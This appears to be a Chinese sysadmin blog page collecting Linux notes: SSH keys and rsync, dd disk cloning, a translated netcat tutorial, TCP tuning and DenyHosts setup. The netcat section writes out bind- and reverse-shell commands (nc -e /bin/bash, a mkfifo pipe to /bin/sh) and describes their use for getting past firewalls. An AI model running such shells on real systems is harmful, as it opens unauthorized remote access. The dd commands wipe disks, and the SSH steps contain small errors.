工作,学习,生活,这里将会有一些记录. 备用域名:http://meisw.wdlinux.cn 注册 | 登陆
浏览模式: 标准 | 列表分类:linux

SSH/SCP无密码操作/rsync同步

SSH/SCP无密码操作

A,B机
A上执行
ssh-keygen -t rsa
会生成文件
/root/.ssh/id_rsa.pub

把这文件上复制到B机上的.ssh目录下
文件名为
authorized_keys
权限为700

然后A机上执行SSH/SCP到B机上,就不需要密码了

 

rsync -e "ssh -p port" -avzp sdir user@ip:ddir

rsync -e "ssh" -az --delete sidr user@ip:ddir

 

Linux下如何做整个硬盘的备份

在公司的几台相同的服务器上面要做同样的配置,和设置,我感觉每次做重复的操作还是比较麻烦的,就想用一个完全配置好的硬盘来做一个镜像,然后复制到其他的硬盘上面。我上网找了一些方法,感觉最省劲儿的还是使用dd命令。

这里我们的源硬盘为:/dev/sda 要备份到的目标盘为:/dev/sdb
我们需要有一张Livecd,因为如果你在源硬盘的系统上面做备份的话,你挂载的硬盘的proc和mnt分区会出现某些问题,为了安全期间,还是非常建议大家使用Livecd的。而且现在这种盘也非常多见,我就找了一张Ubuntu的6.06的盘来用。
1。首先修改bios中启动循序,使用live cd linux启动系统;
2.  进入系统后,为了跑的更快一些,我就切换到了终端模式下,使用这个命令需要root的权限,所以

$sudo dd if=/dev/hda of=/dev/hdc bs=1G count=250

Ubuntu的livecd的root密码为空,这里需要说明的是if表示源盘,of表示目标盘,bs是硬盘空间的容量的单位,你可以从byte,K,M,G中选择,我这里选择的是G,count表示的是你的容量有多大,我写的是250,表示硬盘容量为250G。然后直接回车就可以慢慢等了。

我这个250G的sata硬盘大概用了2小时40分钟,比你装系统的时间要长一些。但是你不用进行那些烦琐的配置了。

tcpdump

tcpdump -i eth0 -l -s 0 -w - dst port 80 | strings|egrep -i "^GET|^Host|^x-forwarded-for"

Linux Netcat 命令——网络工具中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。

netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。

下面是一些使用netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

fangjun105
fangjun105
翻译于 昨天(11:19)

2人顶

 

 翻译的不错哦!

Linux netcat 命令实例:

1,端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。

$nc -z -v -n 172.31.100.7 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.

z 参数告诉netcat使用0 IO,指的是一旦连接关闭,不进行数据交换(译者注:这里翻译不准,如有其它更好的,请指出)

v 参数指使用冗余选项(译者注:即详细输出)

n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。

一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。

$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
葱油拌面
葱油拌面
翻译于 昨天(12:48)

1人顶

 

 翻译的不错哦!

Chat Server

假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。

Server

$nc -l 1567

netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

Client

$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。
葱油拌面
葱油拌面
翻译于 昨天(13:03)

1人顶

 

 翻译的不错哦!

其它翻译版本(1)

3,文件传输

大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。

Server

$nc -l 1567 < file.txt
Client
$nc -n 172.31.100.7 1567 > file.txt
这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。

在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt.

没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。

B作为Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt
葱油拌面
葱油拌面
翻译于 昨天(13:25)

1人顶

 

 翻译的不错哦!

4,目录传输

发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。

如果你想要通过网络传输一个目录从A到B。

Server

$tar -cvf – dir_name | nc -l 1567

Client

 

$nc -n 172.31.100.7 1567 | tar -xvf -
这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。

Server

 

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通过bzip2压缩

Client

 

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
使用bzip2解压
葱油拌面
葱油拌面
翻译于 昨天(13:38)

1人顶

 

 翻译的不错哦!

5. 加密你通过网络发送的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

服务端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。

客户端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密数据。

以上两个命令会提示需要密码,确保两端使用相同的密码。

这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

showme
showme
翻译于 昨天(17:57)

1人顶

 

 翻译的不错哦!

6. 流视频

虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。

服务端

$cat video.avi | nc -l 1567
这里我们只是从一个视频文件中读入并重定向输出到netcat客户端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

showme
showme
翻译于 昨天(13:14)

1人顶

 

 翻译的不错哦!

7,克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。
葱油拌面
葱油拌面
翻译于 昨天(19:35)

1人顶

 

 翻译的不错哦!

8,打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。

假设你的netcat支持 -c -e 参数(默认 netcat)

Server

$nc -l 1567 -e /bin/bash -i
Client
$nc 172.31.100.7 1567
这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash

假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell

Server

$mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。

说明:

从网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat。

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

在客户端仅仅简单连接到服务器

Client

$nc -n 172.31.100.7 1567
你会得到一个shell提示符在客户端
葱油拌面
葱油拌面
翻译于 昨天(20:05)

1人顶

 

 翻译的不错哦!

其它翻译版本(1)

反向shell

反向shell是人曾经在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567
在客户端,简单地告诉netcat在连接完成后,执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash
现在,什么是反向shell的特别之处呢 
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。 
showme
showme
翻译于 昨天(17:49)

1人顶

 

 翻译的不错哦!

10. 指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端

$nc -l 1567

客户端

$nc 172.31.100.7 1567 -p 25

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

Lax
Lax
翻译于 昨天(14:46)

1人顶

 

 翻译的不错哦!

11. 指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。

服务器端

$nc -u -l 1567 < file.txt

客户端

$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

这仅仅是使用netcat的一些示例。

其它用途有:

  •     使用-t选项模拟Telnet客户端,
  •     HTTP客户端用于下载文件,
  •     连接到邮件服务器,使用SMTP协议检查邮件,
  •     使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用netcat作为网络通讯媒介,实现各种客户端。

参考文档

Netcat手册

Linux内核: 修改TCP/IP调优参数

在TimesTen的优化中,如果涉及到 Replication 或者Cache Group的话,那么针对 TCP/IP相关的参数的优化对性能是有益的。因为它们俩都是通过TCP/IP协议进行数据交互的。在安装文档(install.pdf)的39页有具体的说明:

 

For replication, TCP send and receive buffers should be increased to a minimum of 512KB. To make these changes, add the lines:

 

net.ipv4.tcp_rmem=”4096 4194304 4194304″

net.ipv4.tcp_wmem=”98304 4194304 4194304″

net.ipv4.tcp_mem=”98304 4194304 4194304″

net.core.rmem_default=65535

net.core.wmem_default=65535

net.core.rmem_max=4194304

net.core.wmem_max=4194304

net.ipv4.tcp_window_scaling=1

 

to the /etc/sysctl.conf file and reboot.

 

 

For Cache Connect, TCP send and receive buffers should be increased to even greater values. To make these changes, add the lines:

 

net.ipv4.tcp_rmem=”4096 4194304 4194304″

net.ipv4.tcp_wmem=”98304 4194304 4194304″

net.ipv4.tcp_mem=”98304 4194304 4194304″

net.core.rmem_default=262144

net.core.wmem_default=262144

net.core.rmem_max=4194304

net.core.wmem_max=4194304

net.ipv4.tcp_window_scaling=1

net.ipv4.ip_local_port_range=”1024 65000″

 

to the /etc/sysctl.conf file and reboot.(方法: 使用 /etc/sysctl.conf 在系统启动时将参数配置成您所设置的值:)

 

另外一个方法:

 

把下面代码增加到/etc/rc.local文件, 然后保存文件, 系统重新引导的时候会自动修改下面的TCP/IP参数:

 

echo 256960 > /proc/sys/net/core/rmem_default

echo 256960 > /proc/sys/net/core/rmem_max

echo 256960 > /proc/sys/net/core/wmem_default

echo 256960 > /proc/sys/net/core/wmem_max

 

echo 0 > /proc/sys/net/ipv4/tcp_timestamps

echo 1 > /proc/sys/net/ipv4/tcp_sack

echo 1 > /proc/sys/net/ipv4/tcp_window_scaling

 

下面是一篇参考文章,可能会有些帮助,引用于IBM。

 

使用 Sockets API,我们可以开发客户机和服务器应用程序,它们可以在本地网络上进行通信,也可以通过 Internet 在全球范围内进行通信。与其他 API 一样,您可以通过一些方法使用Sockets API,从而提高 Socket 的性能,或者限制 Socket 的性能。本文探索了 4 种使用 Sockets API 来获取应用程序的最大性能并对 GNU/Linux® 环境进行优化从而达到最好结果的方法。

 

 

在开发 socket 应用程序时,首要任务通常是确保可靠性并满足一些特定的需求。利用本文中给出的 4 个提示,您就可以从头开始为实现最佳性能来设计并开发 socket 程序。本文内容包括对于 Sockets API 的使用、两个可以提高性能的 socket 选项以及 GNU/Linux 优化。

 

为了能够开发性能卓越的应用程序,请遵循以下技巧:

 

•最小化报文传输的延时。

•最小化系统调用的负载。

•为 Bandwidth Delay Product 调节 TCP 窗口。

•动态优化 GNU/Linux TCP/IP 栈。

技巧 1. 最小化报文传输的延时

 

在通过 TCP socket 进行通信时,数据都拆分成了数据块,这样它们就可以封装到给定连接的 TCP payload(指 TCP 数据包中的有效负荷)中了。TCP payload 的大小取决于几个因素(例如最大报文长度和路径),但是这些因素在连接发起时都是已知的。为了达到最好的性能,我们的目标是使用尽可能多的可用数据来填充每个报文。当没有足够的数据来填充 payload 时(也称为最大报文段长度(maximum segment size) 或 MSS),TCP 就会采用 Nagle 算法自动将一些小的缓冲区连接到一个报文段中。这样可以通过最小化所发送的报文的数量来提高应用程序的效率,并减轻整体的网络拥塞问题。

 

尽管 John Nagle 的算法可以通过将这些数据连接成更大的报文来最小化所发送的报文的数量,但是有时您可能希望只发送一些较小的报文。一个简单的例子是 telnet 程序,它让用户可以与远程系统进行交互,这通常都是通过一个 shell 来进行的。如果用户被要求用发送报文之前输入的字符来填充某个报文段,那么这种方法就绝对不能满足我们的需要。

 

另外一个例子是 HTTP 协议。通常,客户机浏览器会产生一个小请求(一条 HTTP 请求消息),然后 Web 服务器就会返回一个更大的响应(Web 页面)。

 

解决方案

 

您应该考虑的第一件事情是 Nagle 算法满足一种需求。由于这种算法对数据进行合并,试图构成一个完整的 TCP 报文段,因此它会引入一些延时。但是这种算法可以最小化在线路上发送的报文的数量,因此可以最小化网络拥塞的问题。

 

但是在需要最小化传输延时的情况中,Sockets API 可以提供一种解决方案。要禁用 Nagle 算法,您可以设置 TCP_NODELAY socket 选项,如清单 1 所示。

 

清单 1. 为 TCP socket 禁用 Nagle 算法

 

int sock, flag, ret;

/* Create new stream socket */

sock = socket( AF_INET, SOCK_STREAM, 0 );

/* Disable the Nagle (TCP No Delay) algorithm */

flag = 1;

ret = setsockopt( sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(flag) );

if (ret == -1) {

printf(“Couldn’t setsockopt(TCP_NODELAY)/n”);

exit(-1);

}

 

 

提示:使用 Samba 的实验表明,在从 Microsoft® Windows® 服务器上的 Samba 驱动器上读取数据时,禁用 Nagle 算法几乎可以加倍提高读性能。

 

 

 

技巧 2. 最小化系统调用的负载

 

任何时候通过一个 socket 来读写数据时,您都是在使用一个系统调用(system call)。这个调用(例如 read 或 write)跨越了用户空间应用程序与内核的边界。另外,在进入内核之前,您的调用会通过 C 库来进入内核中的一个通用函数(system_call())。从 system_call() 中,这个调用会进入文件系统层,内核会在这儿确定正在处理的是哪种类型的设备。最后,调用会进入 socket 层,数据就是在这里进行读取或进行排队从而通过 socket 进行传输的(这涉及数据的副本)。

 

这个过程说明系统调用不仅仅是在应用程序和内核中进行操作的,而且还要经过应用程序和内核中的很多层次。这个过程耗费的资源很高,因此调用次数越多,通过这个调用链进行的工作所需要的时间就越长,应用程序的性能也就越低。

 

由于我们无法避免这些系统调用,因此惟一的选择是最小化使用这些调用的次数。幸运的是,我们可以对这个过程进行控制。

 

解决方案

 

在将数据写入一个 socket 时,尽量一次写入所有的数据,而不是执行多次写数据的操作。对于读操作来说,最好传入可以支持的最大缓冲区,因为如果没有足够多的数据,内核也会试图填充整个缓冲区(另外还需要保持 TCP 的通告窗口为打开状态)。这样,您就可以最小化调用的次数,并可以实现更好的整体性能。

 

 

 

技巧 3. 为 Bandwidth Delay Product 调节 TCP 窗口

 

TCP 的性能取决于几个方面的因素。两个最重要的因素是链接带宽(link bandwidth)(报文在网络上传输的速率)和 往返时间(round-trip time) 或 RTT(发送报文与接收到另一端的响应之间的延时)。这两个值确定了称为 Bandwidth Delay Product(BDP)的内容。

 

给定链接带宽和 RTT 之后,您就可以计算出 BDP 的值了,不过这代表什么意义呢?BDP 给出了一种简单的方法来计算理论上最优的 TCP socket 缓冲区大小(其中保存了排队等待传输和等待应用程序接收的数据)。如果缓冲区太小,那么 TCP 窗口就不能完全打开,这会对性能造成限制。如果缓冲区太大,那么宝贵的内存资源就会造成浪费。如果您设置的缓冲区大小正好合适,那么就可以完全利用可用的带宽。下面我们来看一个例子:

 

BDP = link_bandwidth * RTT

 

如果应用程序是通过一个 100Mbps 的局域网进行通信,其 RRT 为 50 ms,那么 BDP 就是:

 

100MBps * 0.050 sec / 8 = 0.625MB = 625KB

 

注意:此处除以 8 是将位转换成通信使用的字节。

 

因此,我们可以将 TCP 窗口设置为 BDP 或 1.25MB。但是在 Linux 2.6 上默认的 TCP 窗口大小是 110KB,这会将连接的带宽限制为 2.2MBps,计算方法如下:

 

throughput = window_size / RTT

 

110KB / 0.050 = 2.2MBps

 

如果使用上面计算的窗口大小,我们得到的带宽就是 12.5MBps,计算方法如下:

 

625KB / 0.050 = 12.5MBps

 

差别的确很大,并且可以为 socket 提供更大的吞吐量。因此现在您就知道如何为您的 socket 计算最优的缓冲区大小了。但是又该如何来改变呢?

 

解决方案

 

Sockets API 提供了几个 socket 选项,其中两个可以用于修改 socket 的发送和接收缓冲区的大小。清单 2 展示了如何使用 SO_SNDBUF 和 SO_RCVBUF 选项来调整发送和接收缓冲区的大小。

 

注意:尽管 socket 缓冲区的大小确定了通告 TCP 窗口的大小,但是 TCP 还在通告窗口内维护了一个拥塞窗口。因此,由于这个拥塞窗口的存在,给定的 socket 可能永远都不会利用最大的通告窗口。

 

清单 2. 手动设置发送和接收 socket 缓冲区大小

 

int ret, sock, sock_buf_size;

sock = socket( AF_INET, SOCK_STREAM, 0 );

sock_buf_size = BDP;

ret = setsockopt( sock, SOL_SOCKET, SO_SNDBUF,

(char *)&sock_buf_size, sizeof(sock_buf_size) );

ret = setsockopt( sock, SOL_SOCKET, SO_RCVBUF,

(char *)&sock_buf_size, sizeof(sock_buf_size) );

 

 

在 Linux 2.6 内核中,发送缓冲区的大小是由调用用户来定义的,但是接收缓冲区会自动加倍。您可以进行 getsockopt 调用来验证每个缓冲区的大小。。{最终缓冲区的大小还受限于linux系统的TCP/IP相关的参数配置: /proc/sys/net/core/rmem_max wmem_max rmem_default ,wmem_default  }

 

 

巨帧(jumbo frame)

我们还可以考虑将包的大小从 1,500 字节修改为 9,000 字节(称为巨帧)。在本地网络中可以通过设置最大传输单元(Maximum Transmit Unit,MTU)来设置巨帧,这可以极大地提高性能。

 

 

 

就 window scaling 来说,TCP 最初可以支持最大为 64KB 的窗口(使用 16 位的值来定义窗口的大小)。采用 window scaling(RFC 1323)扩展之后,您就可以使用 32 位的值来表示窗口的大小了。GNU/Linux 中提供的 TCP/IP 栈可以支持这个选项(以及其他一些选项)。

 

提示:Linux 内核还包括了自动对这些 socket 缓冲区进行优化的能力(请参阅下面 表 1 中的 tcp_rmem 和 tcp_wmem),不过这些选项会对整个栈造成影响。如果您只需要为一个连接或一类连接调节窗口的大小,那么这种机制也许不能满足您的需要了。

 

 

 

技巧 4. 动态优化 GNU/Linux TCP/IP 栈

 

标准的 GNU/Linux 发行版试图对各种部署情况都进行优化。这意味着标准的发行版可能并没有对您的环境进行特殊的优化。

 

解决方案

 

GNU/Linux 提供了很多可调节的内核参数,您可以使用这些参数为您自己的用途对操作系统进行动态配置。下面我们来了解一下影响 socket 性能的一些更重要的选项。

 

在 /proc 虚拟文件系统中存在一些可调节的内核参数。这个文件系统中的每个文件都表示一个或多个参数,它们可以通过 cat 工具进行读取,或使用 echo 命令进行修改。清单 3 展示了如何查询或启用一个可调节的参数(在这种情况中,可以在 TCP/IP 栈中启用 IP 转发)。

 

清单 3. 调优:在 TCP/IP 栈中启用 IP 转发

 

[root@camus]# cat /proc/sys/net/ipv4/ip_forward

0

[root@camus]# echo “1″ > /poc/sys/net/ipv4/ip_forward

[root@camus]# cat /proc/sys/net/ipv4/ip_forward

1

[root@camus]#

 

 

表 1 给出了几个可调节的参数,它们可以帮助您提高 Linux TCP/IP 栈的性能。

 

表 1. TCP/IP 栈性能使用的可调节内核参数

可调节的参数

默认值

选项说明

/proc/sys/net/core/rmem_default

“110592″

定义默认的接收窗口大小;对于更大的 BDP 来说,这个大小也应该更大。

/proc/sys/net/core/rmem_max

“110592″

定义接收窗口的最大大小;对于更大的 BDP 来说,这个大小也应该更大。

/proc/sys/net/core/wmem_default

“110592″

定义默认的发送窗口大小;对于更大的 BDP 来说,这个大小也应该更大。

/proc/sys/net/core/wmem_max

“110592″

定义发送窗口的最大大小;对于更大的 BDP 来说,这个大小也应该更大。

/proc/sys/net/ipv4/tcp_window_scaling

“1″

启用 RFC 1323 定义的 window scaling;要支持超过 64KB的窗口,必须启用该值

/proc/sys/net/ipv4/tcp_sack

“1″

启用有选择的应答(Selective Acknowledgment),这可以通过有选择地应答乱序接收到的报文来提高性能(这样可以让发送者只发送丢失的报文段);(对于广域网通信来说)这个选项应该启用,但是这会增加对 CPU 的占用。

/proc/sys/net/ipv4/tcp_fack

“1″

启用转发应答(Forward Acknowledgment),这可以进行有选择应答(SACK)从而减少拥塞情况的发生;这个选项也应该启用。

/proc/sys/net/ipv4/tcp_timestamps

“1″

以一种比重发超时更精确的方法(请参阅 RFC 1323)来启用对RTT 的计算;为了实现更好的性能应该启用这个选项

/proc/sys/net/ipv4/tcp_mem

“24576 32768 49152″

确定 TCP 栈应该如何反映内存使用;每个值的单位都是内存页(通常是 4KB)。第一个值是内存使用的下限。第二个值是内存压力模式开始对缓冲区使用应用压力的上限。第三个值是内存上限。在这个层次上可以将报文丢弃,从而减少对内存的使用。对于较大的 BDP 可以增大这些值(但是要记住,其单位是内存页,而不是字节)。

/proc/sys/net/ipv4/tcp_wmem

“4096 16384 131072″

为自动调优定义每个 socket 使用的内存。第一个值是为socket 的发送缓冲区分配的最少字节数。第二个值是默认值(该值会被 wmem_default 覆盖),缓冲区在系统负载不重的情况下可以增长到这个值。第三个值是发送缓冲区空间的最大字节数(该值会被 wmem_max 覆盖)。

/proc/sys/net/ipv4/tcp_rmem

“4096 87380 174760″

与 tcp_wmem 类似,不过它表示的是为自动调优所使用的接收缓冲区的值。

/proc/sys/net/ipv4/tcp_low_latency

“0″

允许 TCP/IP 栈适应在高吞吐量情况下低延时的情况;这个选项应该禁用。

/proc/sys/net/ipv4/tcp_westwood

“0″

启用发送者端的拥塞控制算法,它可以维护对吞吐量的评估,并试图对带宽的整体利用情况进行优化;对于 WAN 通信来说应该启用这个选项。

/proc/sys/net/ipv4/tcp_bic

“1″

为快速长距离网络启用 Binary Increase Congestion;这样可以更好地利用以 GB 速度进行操作的链接;对于 WAN 通信应该启用这个选项。

 

 

与任何调优努力一样,最好的方法实际上就是不断进行实验。您的应用程序的行为、处理器的速度以及可用内存的多少都会影响到这些参数影响性能的方式。在某些情况中,您认为有益的操作可能恰恰是有害的(反之亦然)。因此,我们需要逐一试验各个选项,然后检查每个选项的结果。换而言之,我们需要相信自己的经验,但是对每次修改都要进行验证。

 

提示:下面介绍一个有关永久性配置的问题。注意,如果您重新启动了 GNU/Linux 系统,那么您所需要的任何可调节的内核参数都会恢复成默认值。为了将您所设置的值作为这些参数的默认值,可以使用 /etc/sysctl.conf 在系统启动时将这些参数配置成您所设置的值。

 

 

 

GNU/Linux 工具

 

GNU/Linux 对我非常有吸引力,这是因为其中有很多工具可以使用。尽管其中大部分都是命令行工具,但是它们都非常有用,而且非常直观。GNU/Linux 提供了几个工具 —— 有些是GNU/Linux 自己提供的,有些是开放源码软件 —— 用于调试网络应用程序,测量带宽/吞吐量,以及检查链接的使用情况。

 

表 2 列出最有用的几个 GNU/Linux 工具,以及它们的用途。表 3 列出了 GNU/Linux 发行版没有提供的几个有用工具。有关表 3 中工具的更多信息请参阅 参考资料。

 

表 2. 任何 GNU/Linux 发行版中都可以找到的工具  GNU/Linux 工具 用途

ping 这是用于检查主机的可用性的最常用的工具,但是也可以用于识别带宽延时产品计算的 RTT。

traceroute 打印某个连接到网络主机所经过的包括一系列路由器和网关的路径(路由),从而确定每个 hop 之间的延时。

netstat 确定有关网络子系统、协议和连接的各种统计信息。

tcpdump 显示一个或多个连接的协议级的报文跟踪信息;其中还包括时间信息,您可以使用这些信息来研究不同协议服务的报文时间。

表 3. GNU/Linux 发行版中没有提供的有用性能工具  GNU/Linux 工具 用途

netlog 为应用程序提供一些有关网络性能方面的信息。

nettimer 为瓶颈链接带宽生成一个度量标准;可以用于协议的自动优化。

Ethereal 以一个易于使用的图形化界面提供了 tcpump(报文跟踪)的特性。

iperf 测量 TCP 和 UDP 的网络性能;测量最大带宽,并汇报延时和数据报的丢失情况。

 

 

结束语

 

尝试使用本文中介绍的技巧和技术来提高 socket 应用程序的性能,包括通过禁用 Nagle 算法来减少传输延时,通过设置缓冲区的大小来提高 socket 带宽的利用,通过最小化系统调用的个数来降低系统调用的负载,以及使用可调节的内核参数来优化 Linux 的 TCP/IP 栈。

 

在进行优化时还需要考虑应用程序的特性。例如,您的应用程序是基于 LAN 的还是会通过 Internet 进行通信?如果您的应用程序仅仅会在 LAN 内部进行操作,那么增大 socket 缓冲区的大小可能不会带来太大的改进,不过启用巨帧却一定会极大地改进性能!

 

最后,还要使用 tcpdump 或 Ethereal 来检查优化之后的结果。在报文级看到的变化可以帮助展示使用这些技术进行优化之后所取得的成功效果。

kernel nf_conntrack: table full, dropping packet

net.ipv4.netfilter.ip_conntrack_max = 655350
net.ipv4.netfilter.ip_conntrack_tcp_timeout_established = 600

改为

net.netfilter.nf_conntrack_max = 655350
net.netfilter.nf_conntrack_tcp_timeout_established = 600

 

查看目前 ip_conntrack buffer 的使用状况

> grep ip_conntrack /proc/slabinfo
ip_conntrack       38358  64324    304   13    1 : tunables   54   27    8 : slabdata   4948   4948    216
 
 
 
 
 
 
 
 
 
 
 
 
其中各个数字的含义为:
38358 the number of currently active objects
64324 the total number of available objects
  304 the size of each object in bytes
   13 the number of pages with at least one active object 
 
 
 
查出目前 ip_conntrack 记录最多的前十名 IP
cat /proc/net/ip_conntrack | cut -d ' ' -f 10 | cut -d '=' -f 2 | sort |
 
 
 
 
 
 
http://wiki.khnet.info/index.php/Conntrack_tuning
 

Denyhosts安装与错误排除

最近查看linux系统日志,发现有很多陌生的公网ip在不断对服务器进行暴力破解,企图猜到系统账户和密码,除了设置一个强壮的密码之外,可以使用denyhosts来限制这些ip的不友好访问。
       Denyhosts是一个用Python编写的脚本,它会分析sshd的日志文件,当发现重复的攻击时就会记录IP/etc/hosts.deny文件,从而达到自动屏IP的功能。具体见原文档:
 
What is DenyHosts?
DenyHosts is a script intended to be run by Linux system administrators to help thwart SSH server attacks (also known as dictionary based attacks and brute force attacks).
If you've ever looked at your ssh log (/var/log/secure on Redhat, /var/log/auth.log on Mandrake, etc...) you may be alarmed to see how many hackers attempted to gain access to your server. Hopefully, none of them were successful (but then again, how would you know?). Wouldn't it be better to automatically prevent that attacker from continuing to gain entry into your system?
 

一、安装

1.       安装denyhosts
这里我下的版本是DenyHosts-2.6.tar.gz。将文件放到/root/soft下。
安装步骤:
# cd /root/soft
# tar -zxvf DenyHosts-2.6.tar.gz
# cd DenyHosts-2.6
# python setup.py install
默认安装到/usr/share/denyhosts目录下。
2.       配置
首先将denyhosts注册到服务。
/usr/share/denyhosts下,
# cp daemon-control-dist daemon-control  //提出运行脚本,daemon-control文件
# chown root daemon-control
# chmod 700 daemon-control
进入etc/init.d
# cd /etc/init.d
# ln -s /usr/share/denyhosts/daemon-control denyhost  //将脚本文件静态链接到init.d下,并命名为denyhost
# chkconfig –add denyhost //注册为denyhost服务
# chkconfig –level 2345 denyhosts on //让它自启动 ,这一步也可以在/etc/rc.local下添加/usr/share/denyhosts/daemon-control start这一行让他自启动。


 
然后修改配置文件:
 
# cd /usr/share/denyhosts/
# cp denyhosts.cfg-dist denyhosts.cfg
# vi denyhosts.cfg
具体修改如下:
vi /etc/denyhosts.cfg
 
SECURE_LOG = /var/log/secure
#ssh 日志文件,它是根据这个文件来判断的。
 
HOSTS_DENY = /etc/hosts.deny
#控制用户登陆的文件
 
PURGE_DENY = 5m
#过多久后清除已经禁止的
 
BLOCK_SERVICE  = sshd
#禁止的服务名
 
DENY_THRESHOLD_INVALID = 1
#允许无效用户失败的次数
 
DENY_THRESHOLD_VALID = 10
#允许普通用户登陆失败的次数
 
DENY_THRESHOLD_ROOT = 5
#允许root登陆失败的次数
 
HOSTNAME_LOOKUP=NO
#是否做域名反解
 
ADMIN_EMAIL = 你的邮箱地址
#管理员邮件地址,它会给管理员发邮件
 
DAEMON_LOG = /var/log/denyhosts
#自己的日志文件
      
正常情况下,这么安装便可以运行启动了:service denyhost start
/etc/hosts.deny里面有被禁止的ip地址。
 


二、错误排除

在输入运行命令时,有错误提示打不开denyhosts.py文件,没有这个目录。如:
 
#service denyhost start
starting DenyHosts:   /usr/bin/env python /usr/bin/denyhosts.py --daemon --config=/usr/share/denyhosts/denyhosts.cfg
python: can't open file '/usr/bin/denyhosts.py': [Errno 2] No such file or directory
